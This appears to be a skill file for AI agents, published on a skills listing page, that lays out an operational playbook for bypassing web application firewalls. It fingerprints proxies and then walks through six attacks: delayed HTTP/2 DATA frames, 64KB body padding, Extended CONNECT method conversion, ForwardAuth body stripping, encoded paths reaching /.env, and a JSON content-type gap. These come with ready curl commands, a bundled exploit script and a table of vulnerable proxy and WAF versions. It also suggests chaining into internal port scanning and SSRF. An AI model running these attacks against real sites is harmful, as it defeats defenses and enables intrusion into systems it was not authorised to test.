h2-waf-bypass

star 5

Bypass WAF body/path inspection via HTTP/2 binary framing — delayed DATA frames blind out-of-process WAFs, body size truncation evades ext_authz limits, Extended CONNECT converts methods past ACLs. Includes black-box proxy+WAF fingerprinting. Use when WAF blocks payloads over HTTP/1.1 but target supports HTTP/2, or when standard 403-bypass and parser-differential techniques fail.

dreadnode By dreadnode schedule Updated 6/5/2026

name: h2-waf-bypass description: Bypass WAF body/path inspection via HTTP/2 binary framing — delayed DATA frames blind out-of-process WAFs, body size truncation evades ext_authz limits, Extended CONNECT converts methods past ACLs. Includes black-box proxy+WAF fingerprinting. Use when WAF blocks payloads over HTTP/1.1 but target supports HTTP/2, or when standard 403-bypass and parser-differential techniques fail.

H2 WAF Bypass via Binary Framing

HTTP/2 splits requests into binary frames: method/path arrive in HEADERS frames, body arrives in DATA frames. Out-of-process WAFs (SPOA, ext_authz, ForwardAuth) evaluate at HEADERS time. If DATA arrives later, the body is invisible to the WAF but reaches the backend.

In-process WAFs (libmodsecurity3 in nginx) buffer the full request before evaluation. These are NOT vulnerable to frame timing attacks.

When to Use

  • WAF blocks your payload over HTTP/1.1 (403 on body content, path, or method)
  • Target accepts HTTP/2 (check ALPN or force H2 connection preface)
  • Standard 403-bypass path/header tricks exhausted
  • parser-differential-bypass content-type tricks exhausted
  • h2c-websocket-smuggling upgrade path not available

Phase 1: Proxy + WAF Fingerprinting

Identify the proxy and WAF architecture before choosing an attack. Run the bundled PoC (scripts/h2_waf_bypass.py) or manually fingerprint.

Signal 1: Response Headers

curl -sk -D- https://TARGET/ -o /dev/null 2>&1 | grep -iE "^(server|via|alt-svc|x-envoy)"
Header Proxy
server: envoy or x-envoy-* Envoy
via: 1.0 Caddy or via: 2.0 Caddy Caddy
server: nginx nginx
server: Apache Apache
alt-svc: h3= (no other proxy signals) Caddy (medium confidence)

Signal 2: Error Pages

curl -sk https://TARGET/nonexistent-fptest-xyz | head -5
  • <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> = Apache
  • Request forbidden by administrative rules = HAProxy
  • Custom JSON error with ext_authz reference = Envoy

Signal 3: TLS Certificate CN

curl -skv https://TARGET/ 2>&1 | grep "subject:"
  • CN=TRAEFIK DEFAULT CERT = Traefik (default config only)

Signal 4: ALPN + Forced H2 (HAProxy Signature)

curl -sk --http2 -D- https://TARGET/ -o /dev/null 2>&1 | grep -i "HTTP/2"

HAProxy accepts HTTP/2 even when configured alpn http/1.1. The H2 multiplexer activates on the connection preface regardless of ALPN negotiation. If ALPN negotiates http/1.1 but H2 works anyway, it is HAProxy. No other tested proxy exhibits this behavior.

Signal 5: WAF Architecture

# Test path-based WAF
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.env

# Test body-based WAF (form-urlencoded)
curl -sk -o /dev/null -w "%{http_code}" -X POST \
  -d '{"jsonrpc":"2.0"}' \
  -H "Content-Type: application/x-www-form-urlencoded" https://TARGET/

# Test body-based WAF (JSON) — if form blocked but JSON passes, content-type gap exists
curl -sk -o /dev/null -w "%{http_code}" -X POST \
  -d '{"jsonrpc":"2.0"}' \
  -H "Content-Type: application/json" https://TARGET/
Path 403 Body (form) 403 Body (JSON) 403 WAF Type
Yes Yes Yes In-process (modsecurity/libmodsecurity3)
Yes Yes No In-process with JSON gap (mod_security2, Coraza)
No Yes Yes Out-of-process, body-only (ext_authz)
Yes No No Out-of-process, path-only (ForwardAuth)
No No No No WAF or WAF not triggered

Fingerprint → Attack Router

Proxy identified + WAF type determined
  ├── HAProxy + out-of-process (Coraza SPOA)
  │     ├── Attack 1: H2 Body Timing (delayed DATA frame)
  │     ├── Attack 2: Body Size Truncation
  │     └── Attack 3: Extended CONNECT method conversion
  ├── Envoy + ext_authz
  │     ├── Attack 2: Body Size Truncation (64KB boundary)
  │     └── Check: Missing path inspection (no path rules = direct access)
  ├── Traefik + ForwardAuth
  │     ├── Attack 4: ForwardAuth body stripping (body never forwarded)
  │     └── Attack 5: Path normalization bypass
  ├── Apache + mod_security2
  │     └── Attack 6: JSON content-type gap
  ├── Caddy + Coraza
  │     ├── Attack 5: Path normalization bypass
  │     └── Attack 6: JSON content-type gap
  └── nginx + libmodsecurity3
        └── No known H2 frame-level bypasses (buffers full request)

Phase 2: Exploitation

Attack 1: H2 Body Timing (Delayed DATA Frame)

Target: Out-of-process WAFs (HAProxy+SPOA, Envoy+ext_authz)

T+0ms:   HEADERS frame → WAF check fires (body empty) → verdict: ALLOW
T+500ms: DATA frame    → forwarded to backend (WAF already decided)

Key sequence:

  1. Send HEADERS (:method POST, :path /, content-type: application/x-www-form-urlencoded) with END_HEADERS but NOT END_STREAM
  2. time.sleep(0.5) — WAF fires here on out-of-process architectures
  3. Send DATA frame with malicious body + END_STREAM

Verdict: H1 POST returns 403 but H2 split delivery returns 200 → WAF body blind spot confirmed.

Automated: python3 scripts/h2_waf_bypass.py TARGET 443 all

Attack 2: Body Size Truncation

Target: Envoy ext_authz with max_request_bytes (default 64KB) + allow_partial_message: true

ext_authz only forwards the first N bytes to the auth service. Payload after that boundary is invisible to the WAF.

Test:

  1. Baseline: small body with blocked payload → expect 403
  2. Attack: 64KB padding (b'A' * 65536) + same payload → if 200, WAF only saw padding
  3. If 64KB fails, try larger padding — limit is config-dependent

Attack 3: Extended CONNECT Method Conversion

Target: HAProxy (RFC 8441 Extended CONNECT)

Mechanism: H2 CONNECT with :protocol=websocket pseudo-header converts to HTTP/1.1 GET + Upgrade: websocket during H2-to-H1 translation. Method ACLs blocking CONNECT never fire because the backend sees GET.

H2 pseudo-headers sent:

:method    = CONNECT
:protocol  = websocket
:path      = /
:scheme    = https
:authority = target.com

Backend receives (H1):

GET / HTTP/1.1
Host: target.com
Upgrade: websocket

Method ACLs that block CONNECT or restrict methods to GET/POST see a GET request after translation.

Attack 4: ForwardAuth Body Stripping

Target: Traefik v3 + ForwardAuth middleware

ForwardAuth forwards only headers — body is never sent to the auth service. Works over H1 and H2.

curl -sk -X POST -d '{"jsonrpc":"2.0"}' -H "Content-Type: application/json" https://TARGET/
curl -sk -X POST -d 'cmd=exec&target=internal' -H "Content-Type: application/json" https://TARGET/

Attack 5: Path Normalization Bypass

Target: Traefik+ForwardAuth, Caddy+Coraza

Mechanism: WAF matches literal path strings (/.env). Proxy decodes URL-encoded paths before forwarding to backend. Encoded variants bypass string matching.

# Baseline (blocked)
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.env

# Bypass variants
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/%2eenv
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.%65nv
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.e%6ev
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/%2e%65%6e%76
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/static/..%2f.env
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/..%252f.env

If baseline returns 403 but any variant returns 200, path normalization bypass confirmed.

Attack 6: JSON Content-Type Gap

Target: Apache+mod_security2, Caddy+Coraza

ModSecurity REQUEST_BODY variable only parses application/x-www-form-urlencoded. Same payload as application/json bypasses body-phase rules.

# Blocked (form-urlencoded)
curl -sk -o /dev/null -w "%{http_code}" -X POST \
  -d 'cmd=exec&target=internal' \
  -H "Content-Type: application/x-www-form-urlencoded" https://TARGET/

# Bypass (JSON)
curl -sk -o /dev/null -w "%{http_code}" -X POST \
  -d '{"cmd":"exec","target":"internal"}' \
  -H "Content-Type: application/json" https://TARGET/

Bypass Scorecard

Proxy WAF Body Timing Body Size Ext CONNECT Path Norm JSON Gap ForwardAuth
HAProxy 2.9 Coraza SPOA VULN VULN VULN - - -
Envoy 1.32 ext_authz - VULN - - - -
Traefik v3 ForwardAuth - - - VULN - VULN
Apache mod_security2 - - - - VULN -
Caddy Coraza - - - VULN VULN -
nginx libmodsecurity3 - - - - - -

nginx + libmodsecurity3 is the only tested configuration with zero bypasses.

PoC Tool

Bundled at scripts/h2_waf_bypass.py. Zero dependencies — raw H2 frames from stdlib.

python3 scripts/h2_waf_bypass.py TARGET 443              # full pipeline
python3 scripts/h2_waf_bypass.py TARGET 443 fingerprint   # fingerprint only
python3 scripts/h2_waf_bypass.py TARGET 443 exploit        # exploit only

Proxy through Caido: modify tls_connect() or set HTTPS_PROXY=http://localhost:8080.

Chain With

  • 403-bypass — exhaust HTTP/1.1 path/header tricks first, then escalate to H2 framing
  • h2c-websocket-smuggling — if proxy forwards Upgrade headers, H2C may bypass ACLs entirely
  • h2-connect-internal-scan — H2 CONNECT for internal port scanning after WAF bypass
  • parser-differential-bypass — content-type and encoding differentials complement H2 attacks
  • blind-ssrf-chains — once WAF is bypassed, escalate SSRF to proven impact
  • content-type-mime-diff — overlaps with Attack 6 (JSON gap), deeper MIME differential coverage

Rules

  • Fingerprint before attacking. The proxy+WAF combination determines which attacks apply. Spraying all 6 against nginx wastes time.
  • H1 baseline first. Always establish what the WAF blocks over HTTP/1.1 before testing H2 bypasses. The bypass is the delta.
  • nginx is hardened. libmodsecurity3 buffers full requests. Do not waste cycles on H2 timing attacks against nginx.
  • ForwardAuth is body-blind by design. This is not a bug in Traefik — it is how ForwardAuth works. Body inspection requires a different middleware architecture.
  • Body size truncation is config-dependent. The 64KB default in ext_authz is common but not universal. Test with incrementally larger padding if 64KB fails.
  • Proxy through Caido. All exploitation requests must go through curl -x http://localhost:8080 -k for evidence capture.

Reference

Install via CLI
npx skills add https://github.com/dreadnode/capabilities --skill h2-waf-bypass
Repository Details
star Stars 5
call_split Forks 1
navigation Branch main
article Path SKILL.md
More from Creator